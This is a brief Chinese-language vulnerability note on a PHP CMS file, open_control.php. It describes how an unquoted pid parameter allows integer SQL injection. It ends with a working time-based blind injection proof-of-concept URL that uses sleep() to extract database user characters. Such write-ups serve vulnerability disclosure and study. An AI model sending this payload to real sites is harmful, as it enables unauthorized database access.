在framework/www/open_control.php中:
$pid = $this->get("pid"); 获取参数pid的值,然后调用下面的方法
$p_rs = $this->model('project')->get_one($pid);
这里发现$id 虽然做了全局的过滤,但是sql语句中并没有两侧加上引号,这样过滤就没啥意义了,直接可以sql整形注入。
PS: 这里还有一个奇怪的问题,访问页面后发现一只提示模板不存在,后来发现在tpl文件夹下根本就不存在这个open_control.php中所需要的模板。导致sql注入无法回显。不知道是否是开发者忘记了还是这个模块已经取消了。
poc:
/index.php?c=open&f=url&pid=0%20or%20if%28ord%28substr%28user%28%29%2C1%2C1%29%29%3D1%2Csleep%28%200.5%29%2C1%29%3D0